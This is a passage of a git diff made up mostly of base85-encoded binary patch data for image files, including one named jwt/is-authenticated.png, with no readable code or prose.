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 RzWDQimpR$*@xP4;Eaw0K literal 0 HcmV?d00001 diff --git a/jwt/is-authenticated.png b/jwt/is-authenticated.png new file mode 100644 index 0000000000000000000000000000000000000000..ae504b1abf7d142e2e18b9fd05da6dea36a0e094 GIT binary patch literal 55336 zcmd?Rby!sE7dEUIAP6E73JQXVh=i1&q?9A`Q|G-OW$}0#edl z(hMNKJU`*fHXV(h^F? zj-7}==Uo53$&=sHiBZ zfQx(|-%I#hd@4Kmba3oVc#(=Wsm3V@N=XSt(zApg@K|2O#l2$iCLk=5JY}F8D98K( z{UMGy_*Kfi!$iS}i3Da!Z?T)JW#<%ZamB_jTBg4^&pD6m4$oy0+#x-7{C_`=;{*g= zRk~$1ud7~)9y|HJpO>Oo{qrx65&Zj88g?=UHPZB=Ch31~ItGWbPyhGd!?Jja80)E0 zeU+=n@c#W##5_Ln??2#$HIqklpp~+6fauj3n?has@}Bw}7C%_)mXAF+*sq<%9=jwmE-}9F*%x>5Im=K&0+Vnw2ibdS8k+09 zs0S}wrspy^^G^P~fTbx?QtujjdwV>O82oISpj$LoJ+?kXT;WH{;I~KiE~sGeJVY7E z%I=yQw|+c{aA=i1b@uo_gXB>u9dl6A9VxRCaBTTj@YfTaL!!5aIDGlc40@AM^gm9U zES#7><{_E;=k}J2j!p#^PpwK#KarWSb0zN^Y85_mIC!o72PwkgiNXcuA&*J#?)(3Y zw&>xRrEM1<79Y~8z_{`or!}$V`N~QD^nti)tGU1O5xe=gu#D#Ow7-IVU|j9riR zF5X9Z_`=t)+_TG~`4dSx6i3I0)bqPhL+1iBGTz4t{XKohKbJfg z{-%9lylJT1bzoqi#LsJ2r>Uwc?(5gDi<6JY{(g(l@yJ_4nJv<^Dkz@93pS}-Ocndp z;`))&^@Yy~Cka1mUF(VC-J>zhbVHVXpxuo_rKY5)rE7M%o0HH9U%qtdroXhToZRZl zN}kni28K8c22(PdoSaNV$to=`Z*=O_t5>o*7L}EitlWHjJ?-r)bD0$dIXPq0@!44t z3}*-k-ud_#cG-VU%E%ZlvWc%v$k468&CjPTD~@oVqZPbJOFO)|!hGh>SWustQNy~q zO2w&=J&ah<4`z)`LdG%@r#BP|(d2zfM5dNzBlrXa27c99et&m9RV|%`nK>r+IyvFy z!T{fkm5I^nx9-a|R5ui&401!GqOA1wxojtXw8cNj)GG8<(c_Ufc1Y*8<>F>d8Rv&i8Tqtqj+$Vh+xwyovyva&KEA)z|oD*|>? zvhO8q*Jrx|ZYb>R?$TVm=(4*|cth8Mf`Y;wBP9-t82h<9R)f+tsc7_Ml^2nE zx~61V5Dtga)6=t1^ziV2n90b{R8)m-`#Ti3)I7bs!otHTDJWD`Rnw6r zcLW8$Z0gI%$r(N!WxBXj{q|h+J^O}+hS><~^1c!WYgbpH!i(*H7I`c8@gbHWdPX6Qxp5qW6bEsGRd|uq4T0{ zw>+}z&^U9();H~80?T2|a;=9Nruv-85+v(+mX7xca?IohA4uC%uf_`_-QC^qslr&^ zxqbUbON)ZMJiK^@LVew4@SlN&Ml0;%sH)l(|G*D|VsCG6CU$FUD^kFL@FX5aOGn4* z$rBirhYt9w?u`u%m#XfgqZ`p?-ol4tDE;lX-=6!LtbUs5PjJKD;^g4M2YdSb$& zKQFnwJSr6h@dcASv$nkLlA_F^Q|h?2q<1Irf$!zmcIBsf5Ywwu&EjuKY#y~@RIqAl zYT==wfq{YVYV=`*SkfT+U0q$h#2~arA?&!gxJ-KA`1$!sGsbllS`8r3@pUYwSImzuijTPtBp2RVy}w^YxJ 